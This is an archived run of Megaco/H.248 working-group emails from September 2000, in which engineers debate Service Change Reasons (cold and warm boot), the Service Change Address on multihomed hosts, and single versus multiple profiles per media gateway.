Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 2267 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 08:57:29 -0400
Received: from tapti.hss.hns.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB91EE7@standards.nortelnetworks.com>; Mon, 11 Sep 2000 8:57:21
          -0400
Received: from sandesh.hss.hns.com (sandesh.hss.hns.com [139.85.242.35]) by
          tapti.hss.hns.com (8.10.0/8.10.0) with SMTP id e8BEJXa08310; Mon, 11
          Sep 2000 19:49:33 +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          65256957.004762A1 ; Mon, 11 Sep 2000 18:29:43 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <65256957.00475B7D.00@sandesh.hss.hns.com>
Date:         Mon, 11 Sep 2000 18:34:37 +0530
Reply-To: klaha@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Kushanava Laha <klaha@HSS.HNS.COM>
Subject:      Re: Significance of WARM Boot
X-To:         Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi Tom,
     Thanks for indicating the procedures in MG for
each type of boot. Can these be included in the protocol document?

Further w.r.t. Section 7.2.8 that covers the various Service Change Reasons
I propose the scenarios for reporting each Service Change Reason from the
MG be also included in the protocol, as had been done for the error codes.

A related proposal - Assuming the interpretations of cold and warm boot as
indicated
by you, a new Service Change Reason "MG registration" be also included that
means that the MG is registering with the MGC fresh and has no (or has lost all)
previous
context and state. This shall be included in the Service Change Reason parameter
in the
initial Service Change on root from MG to MGC for registering.

regards,
Kushanava Laha





Tom-PT Taylor <taylor@NORTELNETWORKS.COM> on 09/11/2000 06:19:28 PM

Please respond to Tom-PT Taylor <taylor@NORTELNETWORKS.COM>

To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
cc:    (bcc: Kushanava Laha/HSS)

Subject:  Re: Significance of WARM Boot




In both cases, provisioned values are preserved.  The usual distinctions
are:
 - cold boot: all non-NULL contexts are cleared
 - warm boot: transactions in process may be lost, but otherwise all state
is preserved
 - hot standby: no state loss as a result of the transition

> -----Original Message-----
> From: Prashant Jain [mailto:prjain@HSS.HNS.COM]
> Sent: Sunday, September 10, 2000 8:44 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Significance of WARM Boot
>
>
> Hi Brian, Tom, List,
>
> Can anyone explain the difference between the COLD Boot and
> the WARM Boot as
> Service Change Reasons.
>
> Does it mean that in the case of COLD boot,  everything is
> powered on from the
> begining. However in the case of WARM boot, provisioned data
> at MG may be
> preserved as it is, but all the active and the transient
> calls are cleared of
> its own.
>
> Please calrify.
>
> Prashant Jain
> Hughes Software Systems
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 09:57:12 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA02526
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 09:57:09 -0400 (EDT)
Received: from standards (47.234.32.16:4355) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91F16@standards.nortelnetworks.com>; Mon, 11 Sep 2000 9:42:05 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 2327 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 09:42:05 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB91F15@standards.nortelnetworks.com>; Mon, 11 Sep 2000 9:42:05
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA17947; Mon, 11 Sep 2000 09:55:14 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA12137; Mon, 11 Sep 2000 09:55:14 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <SPQ837VQ>; Mon, 11 Sep 2000 09:55:03 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="ISO-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF678851@whq-msgusr-02.pit.comms.marconi.com>
Date:         Mon, 11 Sep 2000 09:54:58 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Use of Service Change Address
X-To:         Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

> And this looks like a situation where the MGC would be justified in
> initiating a new TCP connection.  Does anyone else care to comment?

Yes!  I don't think this is such a case if I understand it
(I don't think there CAN be such a case).

The problem statement is multihomed host with multiple network
addresses, and neither the MG nor the MGC redundant.

First of all, the protocol as currently defined does not have
any procedures for multihomed hosts, thus anything we discuss
here is at best some suggested behavior, at worst an extension.
Whatever is done has to be implemented in both MG and MGC,
and thus invites interoperability issues.
For this scenario, the real answer is, "use SCTP".

Second, the MG, noting that the link is dead, could request
creation of another link.

Third, I'd add a reason code to cover this case, which would
cause the MG to request a new link, to be sent over one of
the live connections.

In no case would I see the MGC initiating control associations.
That's not how the protocol is defined, and as noted, we do
not wish the MG to have to have a TCP server.

Brian
>
> > -----Original Message-----
> > From: Prashant Jain [mailto:prjain@HSS.HNS.COM]
> > Sent: Sunday, September 10, 2000 8:33 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Use of Service Change Address
> >
> >
> > Hi Brian, Tom, List,
> >
> > Can the Service Change Address Parameter be used in the
> > following scenario:
> >
> > Consider MG/MGC application running over a multi-homed host
> > with a single copy
> > or multiple redundant copies of TCP/IP
> > Stack in the case of IP networks. Here it is assumed that
> > MG/MGC application do
> > not support redundancy at their level.
> >
> > Now, if any network interface card or an active copy of
> > TCP/IP Stack fails,
> > System management running in the system may wish to
> > change the local ID i.e. may use another card  or use the
> > standby copy with
> > different IP address configured for it.  In this scenario, protocol
> > must  specify a way to communicate this information (of Local
> > Address Change) to
> > the other entity without breaking the existing association.
> >
> > As per the current text of the protocol,  can we send a
> > Service Change Request
> > to the other entity with DISCONNECTED method, Service Change
> > Reason as  "Loss of
> > Lower Layer Connectivity" and Service Change Address as the
> > new specified local
> > address to take care of the above scenario.
> >
> > Please do reply.
> >
> > Prashant Jain
> > HUghes Software Systems
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 11:40:53 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA05185
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 11:40:50 -0400 (EDT)
Received: from standards (47.234.32.16:1900) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91F8C@standards.nortelnetworks.com>; Mon, 11 Sep 2000 11:24:49 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 2494 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 11:24:49 -0400
Received: from qhars002.nortel.com (47.101.112.102:63705) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB91F8B@standards.nortelnetworks.com>; Mon, 11 Sep 2000
          11:24:48 -0400
Received: from smtprch2.nortel.com (actually erchg0k) by qhars002.nortel.com;
          Mon, 11 Sep 2000 16:37:37 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch2.nortel.com; Mon, 11 Sep 2000 10:31:34 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <SVJ74GTP>; Mon, 11 Sep 2000 10:35:15 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C01C05.DC5FE460"
X-Orig: <blather@americasm01.nt.com>
Message-ID:  <353093573B82D411889E0000F808216648E348@zcard00q.ca.nortel.com>
Date:         Mon, 11 Sep 2000 10:35:06 -0500
Reply-To: Peter Blatherwick <blather@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Peter Blatherwick <blather@NORTELNETWORKS.COM>
Subject:      Re: Profiles in Service Change
X-To:         John Segers <jsegers@LUCENT.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C01C05.DC5FE460
Content-Type: text/plain;
        charset="iso-8859-1"

Hi John, all:

First, I would like to emphasize I DO see rules for use and definition of
profiles as being important.  But I do not see the Implementer's Guide as
the place for it.  It would constitute an extension work to Megaco/H.248
Protocol, therefore a version 2 topic.  This is essentially what we decided
in Washington.  I believe what we have now is workable in the immediate
future, and both Brian and I have proposed ways to work with it that I think
cover the major cases.

Some specific responses below [PB], and more to follow on other parts of
this thread.  (And sorry for the delayed responses.)

-- Peter

-----Original Message-----
From: John Segers [mailto:jsegers@LUCENT.COM]
Sent: Thursday, September 07, 2000 04:21
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Profiles in Service Change


Pete,

I share your view that profiles cannot completely obviate the need for
auditing.  My concern is that they don't alleviate this need at all with
the current mechanisms for profiles (allowing only one) and auditing
(allowing an MGC to audit which packages are supported).

[PB] Yes, in general profiles cannot completely obviate audits, only when
MGC assumes only the minimal functionality specified by the profile.
However, profile can greatly reduce auditing, and can supply a lot of other
valuable information about MG organization, so are extremely powerful
enablers of interoperability, complementary with packages and audits.

Actually, I think that there are two issues:
- If an MG reports that it supports a profile, the MGC knows about a set
  of packages that is supported and maybe some extra information
  (like termination naming).  The MG cannot indicate that it supports
more
  functionality than that defined in the profile.  So if there are MGs
and
  MGCs that support functionality beyond the profile, such MGs _always_
  have to audit to find out.

[PB] Agree discovery of added non-package functionality would be nice to
solve.  Profiles do this for specific applications.  Difficult question is
how to solve this for multiple simultaneous applications.

- A gateway has to sides.  Consider, for instance an ISDN to BICC GW.
  It is not unreasonable to define a profile for the ISDN terminations,
  including a naming scheme.  It is also not unreasonable to define a
  profile for the BICC network side.  If both profiles specify anything
  beyond the sets of packages that has to be supported, auditing may not
  give the MGC the capability to find out about this.

[PB} (Attempting to leave BICC etc out of it ;-)  If more than one profile
specifies more than package support, there may be conflicting assumptions,
and ambiguity results.  This is the core problem with multiple profiles.  I
don't think we're disagreeing here, just saying things differently.

  It looks to me like we either have to restrict profiles to be no more
  than sets of packages, or we allow profiles to define more than this
  and find a way to convey information about supported functionality
  beyond sets of packages.

[PB] I do not agree here.  Profiles specifying naming conventions, assumed
termination/package organization etc is extremely useful.  Defining only
sets of packages is insufficient.  What we have now is workable for many,
many current cases, so don't think we should restrict it.  Nor do I think we
currently have a good solution for auditing (or otherwise) to discover
non-package extended functionality.  While the latter problem *might* be
well solved by allowing multiple profiles, without deep thought and clear
definition of profile specification rules and rules around what it means to
register more than one profile at a time, we leave ourselves very open to a
big mess of ambiguity.  These topics are valid, but beyond the scope of what
I would see as an Implementer's Guide.  (Let's remember that's where this
started.)

Cheers,

John

> Peter Blatherwick wrote:
>
> A couple of points to add to the below (I agree with reasoning and 1
> profile at a time rule):
>
> I do not expect profiles to completely get around auditing, merely
> make it a whole lot easier and more reliable.  If termination/package
> structure, minimum package support, naming conventions and so on are
> all agreed implicitly by the MGC accepting a profile, then audits are
> used only to find out what else a particular MG does, and audits can
> be much more specifically directed.  If an MGC wants to only support
> the minimum function, there may be no audits required at all in some
> cases (not the case in IP Phone BTW -- would still need to audit
> specific UI widgets supported by the UI termination).
>
> In the example of a Fax IP Phone, an alternative to creating a new
> profile extending IP Phone is for the device just to support the IP
> Phone profile and use MGC audits to discover there is additional fax
> support in the MG.  (Not too sure just what hypothetical package(s) we
> would need to add to make this so, but no worries about that here.)
> As long as the Fax IP Phone device follows the basic structure and
> rules of IP Phone, I don't see any interoperability trouble or
> ambiguity.
>
> Also, to re-iterate an earlier point, if we take it as given that
> profiles can define such things as assumed termination/package
> structure and naming conventions, then arbitrary mixing of multiple
> profiles is much more than understanding minimum required package
> support, and is a much trickier problem.  Mutually incompatible
> assumptions may be made by the multiple profiles, and then how to sort
> out the resulting ambiguity in the MGC and MG?  Yeti.  Without rules
> for profile definition we have no way to sort this out for multiple
> simultaneous profiles.  With the one profile at a time rule, the
> problem does not exist and yet we can still extend using additional
> packages within the overall structure defined by that profile.
>
> If it is desirable to create profiles that extend others (I think this
> would be a good thing), I submit we need to define formal definition
> rules to specify how this works, along the lines of what we did with
> packages.  To my mind this would be an extension of the Megaco/H.248
> Protocol, for version 2, not a job for the Implementer's Guide.  Same
> goes for re-defining profile in ServiceChange -- must be tied to
> specific rules.
>
> -- Peter
>
> -----Original Message-----
> From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> Sent: Wednesday, September 06, 2000 11:04
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Profiles in Service Change
>
> I think that if we need to have faxphones, then we need
> a profile for them, and there should be one way to do that,
> which would be an extension of the Ipphone profile.
>
> The real issue is, suppose you only had an MGC available that
> DID understand Ipphone, but did NOT understand Ipfaxphone.
>
> What is the right thing to do?
>  a) fail, because you can't fax, and a user may expect that
>  b) use the Ipphone protocol and cause a local error if
>         a user tried to fax
>  c) have local action (provisioning, or local configuration)
>         that disables the fax function
> I'm not really sure what the best answer is.  It's not
> obvious to me that there IS a good answer.  It's good to
> use the lowest common denominator to get service, but you
> really ought to disable fax at the local terminal (which
> could downgrade the profile).
>
> I do think you have raised another issue worth discussing,
> which is:
>         Should we create a new profile to add one feature,
>                 or should MGCs audit always?
>
> This also seems to me to not have an ideal answer:
>   Making tons of profiles to add features is clearly going to
>   give us lots of non-interoperable devices
>
>         but
>
>   auditing removes any usefulness of profiles for actual
>   operation of the protocol
>
> Brian
>
> > -----Original Message-----
> > From: John Segers [mailto:jsegers@LUCENT.COM]
> > Sent: Wednesday, September 06, 2000 10:48 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Profiles in Service Change
> >
> >
> > I agree to the underlying idea that profiles could be used to
> restrict
> > fragmentation.  On the other hand, I think that Christian has a
> point.
> > His example may have been unfortunate because it mentioned a call
> > signaling protocol, but the point is valid.
> >
> > Suppose that I want to build a MG that supports the IPphone
> > profile, and
> > I also build in IP fax support.  If my MG signals that it supports
> the
> > IPphone profile, the MGC infers that this MG supports a certain set
> of
> > packages and maybe some things that are optional in the base megaco
> > protocol.  It doesn't have a reason to audit the MG and find
> > out that it
> > can also do IP fax.  So how do I get the MGC to use the fax support
> > (other than by provisioning the MGC with this information)?
> >
> > John
> >
> > Flemming Andreasen wrote:
> > >
> > > OK - I'll buy that.
> > >
> > > -- Flemming
> > >
> > > "Rosen, Brian" wrote:
> > >
> > > > What is wrong is that it promotes proliferation of
> > > > many overlapping profiles.  Profiles are supposed to be
> > > > a way of reducing the variability that Packages provide,
> > > > so that one could reasonably expect to be able to find
> > > > interoperable MGs and MGCs.
> > > >
> > > > No one can legislate this (no protocol police...), but
> > > > we can encourage, or discourage proliferation of
> > > > many profiles that attempt to solve the same problem
> > > > different ways.  If you support 100 profiles, you may
> > > > as well just ignore the profile info and look at the
> > > > audited package list!
> > > >
> > > > I want to make it HARD to have more than one profile
> > > > per MG (not MGC).  Not impossible, just hard.  I think
> > > > that will encourage coalescing around a small number of
> > > > profiles for specific purposes that all relevant MGs and
> > > > MGCs support, which in turn will make the protocol successful.
> > > >
> > > > What I fear is balkanization by proliferation of profiles,
> > > > which leads to non-interoperable devices.  It would be non
> > > > interoperable because there were no common profiles, rather
> > > > that if you found a common one, it wouldn't work.  The
> > > > package mechanism is a wonderful way to have all sorts of
> > > > extensions and features in MGs.  The profile mechanism was
> > > > designed to provide a way to corral the easy expansion into
> > > > more limited groups of options.  Generally, successful
> > > > protocols are not easy "bent" in many different ways -> you
> > > > get ONE way, and everyone does it that way, and the world
> > > > is better for it.  The package thing is great, but it is
> > > > a danger.  The profile is the only way I know to limit it's
> > > > potential to undermine the effectiveness of the protocol.
> > > >
> > > > Brian
> > > >
> > > > > -----Original Message-----
> > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > Sent: Wednesday, September 06, 2000 10:01 AM
> > > > > To: Michael P DiGioia
> > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM; Christian Groves;
> > > > > Rosen, Brian
> > > > > Subject: Re: Profiles in Service Change
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > Michael P DiGioia wrote:
> > > > >
> > > > > > Brian,
> > > > > >
> > > > > > > > So does that mean that nobody can make an MG which
> > > > > supports more than
> > > > > > > > one profile? :-)
> > > > > >
> > > > > > >One way to get around the limitation is to try to get
> > > > > > >service using the most "featurefull" profile.  If you fail
> > > > > > >to find an MGC that can serve that profile, try again with
> > > > > > >a different profile.
> > > > > >
> > > > > > I agree. I believe the point is that any one MG can support
> > > > > one or more
> > > > > > profile, however, once the most featurefull profile is
> > > > > found to be accepted
> > > > > > by an MGC, use it.
> > > > >
> > > > > I disagree as Brian's comments assumes a meaningful ordering
> > > > > relation between
> > > > > (at least a resonable subset of) profiles based on some set
> > > > > of features
> > > > > supported. I don't see that. Christian's proposal of allowing
> > > > > a listing of
> > > > > profiles seemed pretty good to me - what was wrong with
> > this again ?
> > > > >
> > > > > -- Flemming
> > > > >
> > > > > >
> > > > > >
> > > > > > What we build into our IpPhone MG is our choice. I don't
> > > > > believe this limits
> > > > > > us in any way. If so, how?
> > > > > >
> > > > > > /mpd
> > > > >
> > > > > --
> > > > > Flemming Andreasen
> > > > > Cisco Systems
> > > > >
> > > > >
> > >
> > > --
> > > Flemming Andreasen
> > > Cisco Systems
> >
> > --
> > John Segers                                  email:
> jsegers@lucent.com
> > Lucent Technologies                                        Room HE
> 303
> > Dept. Forward Looking Work                      phone: +31 35 687
> 4724
> > P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687
> 5954
> >

--
John Segers                                  email: jsegers@lucent.com
Lucent Technologies                                        Room HE 303
Dept. Forward Looking Work                      phone: +31 35 687 4724
P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954

------_=_NextPart_001_01C01C05.DC5FE460
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Profiles in Service Change</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Hi John, all:&nbsp; </FONT>
</P>

<P><FONT SIZE=3D2>First, I would like to emphasize I DO see rules for =
use and definition of profiles as being important.&nbsp; But I do not =
see the Implementer's Guide as the place for it.&nbsp; It would =
constitute an extension work to Megaco/H.248 Protocol, therefore a =
version 2 topic.&nbsp; This is essentially what we decided in =
Washington.&nbsp; I believe what we have now is workable in the =
immediate future, and both Brian and I have proposed ways to work with =
it that I think cover the major cases.&nbsp; </FONT></P>

<P><FONT SIZE=3D2>Some specific responses below [PB], and more to =
follow on other parts of this thread.&nbsp; (And sorry for the delayed =
responses.)&nbsp; </FONT></P>

<P><FONT SIZE=3D2>-- Peter</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: John Segers [<A =
HREF=3D"mailto:jsegers@LUCENT.COM">mailto:jsegers@LUCENT.COM</A>]</FONT>=

<BR><FONT SIZE=3D2>Sent: Thursday, September 07, 2000 04:21</FONT>
<BR><FONT SIZE=3D2>To: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2>Subject: Re: Profiles in Service Change</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Pete,</FONT>
</P>

<P><FONT SIZE=3D2>I share your view that profiles cannot completely =
obviate the need for</FONT>
<BR><FONT SIZE=3D2>auditing.&nbsp; My concern is that they don't =
alleviate this need at all with</FONT>
<BR><FONT SIZE=3D2>the current mechanisms for profiles (allowing only =
one) and auditing</FONT>
<BR><FONT SIZE=3D2>(allowing an MGC to audit which packages are =
supported).</FONT>
</P>

<P><FONT SIZE=3D2>[PB] Yes, in general profiles cannot completely =
obviate audits, only when MGC assumes only the minimal functionality =
specified by the profile.&nbsp; However, profile can greatly reduce =
auditing, and can supply a lot of other valuable information about MG =
organization, so are extremely powerful enablers of interoperability, =
complementary with packages and audits.&nbsp; </FONT></P>

<P><FONT SIZE=3D2>Actually, I think that there are two issues:</FONT>
<BR><FONT SIZE=3D2>- If an MG reports that it supports a profile, the =
MGC knows about a set</FONT>
<BR><FONT SIZE=3D2>&nbsp; of packages that is supported and maybe some =
extra information</FONT>
<BR><FONT SIZE=3D2>&nbsp; (like termination naming).&nbsp; The MG =
cannot indicate that it supports</FONT>
<BR><FONT SIZE=3D2>more</FONT>
<BR><FONT SIZE=3D2>&nbsp; functionality than that defined in the =
profile.&nbsp; So if there are MGs</FONT>
<BR><FONT SIZE=3D2>and</FONT>
<BR><FONT SIZE=3D2>&nbsp; MGCs that support functionality beyond the =
profile, such MGs _always_</FONT>
<BR><FONT SIZE=3D2>&nbsp; have to audit to find out.</FONT>
</P>

<P><FONT SIZE=3D2>[PB] Agree discovery of added non-package =
functionality would be nice to solve.&nbsp; Profiles do this for =
specific applications.&nbsp; Difficult question is how to solve this =
for multiple simultaneous applications.&nbsp; </FONT></P>

<P><FONT SIZE=3D2>- A gateway has to sides.&nbsp; Consider, for =
instance an ISDN to BICC GW.</FONT>
<BR><FONT SIZE=3D2>&nbsp; It is not unreasonable to define a profile =
for the ISDN terminations,</FONT>
<BR><FONT SIZE=3D2>&nbsp; including a naming scheme.&nbsp; It is also =
not unreasonable to define a</FONT>
<BR><FONT SIZE=3D2>&nbsp; profile for the BICC network side.&nbsp; If =
both profiles specify anything</FONT>
<BR><FONT SIZE=3D2>&nbsp; beyond the sets of packages that has to be =
supported, auditing may not</FONT>
<BR><FONT SIZE=3D2>&nbsp; give the MGC the capability to find out about =
this.</FONT>
</P>

<P><FONT SIZE=3D2>[PB} (Attempting to leave BICC etc out of it =
;-)&nbsp; If more than one profile specifies more than package support, =
there may be conflicting assumptions, and ambiguity results.&nbsp; This =
is the core problem with multiple profiles.&nbsp; I don't think we're =
disagreeing here, just saying things differently.&nbsp; </FONT></P>

<P><FONT SIZE=3D2>&nbsp; It looks to me like we either have to restrict =
profiles to be no more</FONT>
<BR><FONT SIZE=3D2>&nbsp; than sets of packages, or we allow profiles =
to define more than this</FONT>
<BR><FONT SIZE=3D2>&nbsp; and find a way to convey information about =
supported functionality</FONT>
<BR><FONT SIZE=3D2>&nbsp; beyond sets of packages.</FONT>
</P>

<P><FONT SIZE=3D2>[PB] I do not agree here.&nbsp; Profiles specifying =
naming conventions, assumed termination/package organization etc is =
extremely useful.&nbsp; Defining only sets of packages is =
insufficient.&nbsp; What we have now is workable for many, many current =
cases, so don't think we should restrict it.&nbsp; Nor do I think we =
currently have a good solution for auditing (or otherwise) to discover =
non-package extended functionality.&nbsp; While the latter problem =
*might* be well solved by allowing multiple profiles, without deep =
thought and clear definition of profile specification rules and rules =
around what it means to register more than one profile at a time, we =
leave ourselves very open to a big mess of ambiguity.&nbsp; These =
topics are valid, but beyond the scope of what I would see as an =
Implementer's Guide.&nbsp; (Let's remember that's where this =
started.)&nbsp; </FONT></P>

<P><FONT SIZE=3D2>Cheers,</FONT>
</P>

<P><FONT SIZE=3D2>John</FONT>
</P>

<P><FONT SIZE=3D2>&gt; Peter Blatherwick wrote:</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; A couple of points to add to the below (I agree =
with reasoning and 1</FONT>
<BR><FONT SIZE=3D2>&gt; profile at a time rule):</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; I do not expect profiles to completely get =
around auditing, merely</FONT>
<BR><FONT SIZE=3D2>&gt; make it a whole lot easier and more =
reliable.&nbsp; If termination/package</FONT>
<BR><FONT SIZE=3D2>&gt; structure, minimum package support, naming =
conventions and so on are</FONT>
<BR><FONT SIZE=3D2>&gt; all agreed implicitly by the MGC accepting a =
profile, then audits are</FONT>
<BR><FONT SIZE=3D2>&gt; used only to find out what else a particular MG =
does, and audits can</FONT>
<BR><FONT SIZE=3D2>&gt; be much more specifically directed.&nbsp; If an =
MGC wants to only support</FONT>
<BR><FONT SIZE=3D2>&gt; the minimum function, there may be no audits =
required at all in some</FONT>
<BR><FONT SIZE=3D2>&gt; cases (not the case in IP Phone BTW -- would =
still need to audit</FONT>
<BR><FONT SIZE=3D2>&gt; specific UI widgets supported by the UI =
termination).</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; In the example of a Fax IP Phone, an =
alternative to creating a new</FONT>
<BR><FONT SIZE=3D2>&gt; profile extending IP Phone is for the device =
just to support the IP</FONT>
<BR><FONT SIZE=3D2>&gt; Phone profile and use MGC audits to discover =
there is additional fax</FONT>
<BR><FONT SIZE=3D2>&gt; support in the MG.&nbsp; (Not too sure just =
what hypothetical package(s) we</FONT>
<BR><FONT SIZE=3D2>&gt; would need to add to make this so, but no =
worries about that here.)</FONT>
<BR><FONT SIZE=3D2>&gt; As long as the Fax IP Phone device follows the =
basic structure and</FONT>
<BR><FONT SIZE=3D2>&gt; rules of IP Phone, I don't see any =
interoperability trouble or</FONT>
<BR><FONT SIZE=3D2>&gt; ambiguity.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; Also, to re-iterate an earlier point, if we =
take it as given that</FONT>
<BR><FONT SIZE=3D2>&gt; profiles can define such things as assumed =
termination/package</FONT>
<BR><FONT SIZE=3D2>&gt; structure and naming conventions, then =
arbitrary mixing of multiple</FONT>
<BR><FONT SIZE=3D2>&gt; profiles is much more than understanding =
minimum required package</FONT>
<BR><FONT SIZE=3D2>&gt; support, and is a much trickier problem.&nbsp; =
Mutually incompatible</FONT>
<BR><FONT SIZE=3D2>&gt; assumptions may be made by the multiple =
profiles, and then how to sort</FONT>
<BR><FONT SIZE=3D2>&gt; out the resulting ambiguity in the MGC and =
MG?&nbsp; Yeti.&nbsp; Without rules</FONT>
<BR><FONT SIZE=3D2>&gt; for profile definition we have no way to sort =
this out for multiple</FONT>
<BR><FONT SIZE=3D2>&gt; simultaneous profiles.&nbsp; With the one =
profile at a time rule, the</FONT>
<BR><FONT SIZE=3D2>&gt; problem does not exist and yet we can still =
extend using additional</FONT>
<BR><FONT SIZE=3D2>&gt; packages within the overall structure defined =
by that profile.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; If it is desirable to create profiles that =
extend others (I think this</FONT>
<BR><FONT SIZE=3D2>&gt; would be a good thing), I submit we need to =
define formal definition</FONT>
<BR><FONT SIZE=3D2>&gt; rules to specify how this works, along the =
lines of what we did with</FONT>
<BR><FONT SIZE=3D2>&gt; packages.&nbsp; To my mind this would be an =
extension of the Megaco/H.248</FONT>
<BR><FONT SIZE=3D2>&gt; Protocol, for version 2, not a job for the =
Implementer's Guide.&nbsp; Same</FONT>
<BR><FONT SIZE=3D2>&gt; goes for re-defining profile in ServiceChange =
-- must be tied to</FONT>
<BR><FONT SIZE=3D2>&gt; specific rules.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; -- Peter</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Rosen, Brian [<A =
HREF=3D"mailto:Brian.Rosen@MARCONI.COM">mailto:Brian.Rosen@MARCONI.COM</=
A>]</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: Wednesday, September 06, 2000 =
11:04</FONT>
<BR><FONT SIZE=3D2>&gt; To: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: Re: Profiles in Service Change</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; I think that if we need to have faxphones, then =
we need</FONT>
<BR><FONT SIZE=3D2>&gt; a profile for them, and there should be one way =
to do that,</FONT>
<BR><FONT SIZE=3D2>&gt; which would be an extension of the Ipphone =
profile.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
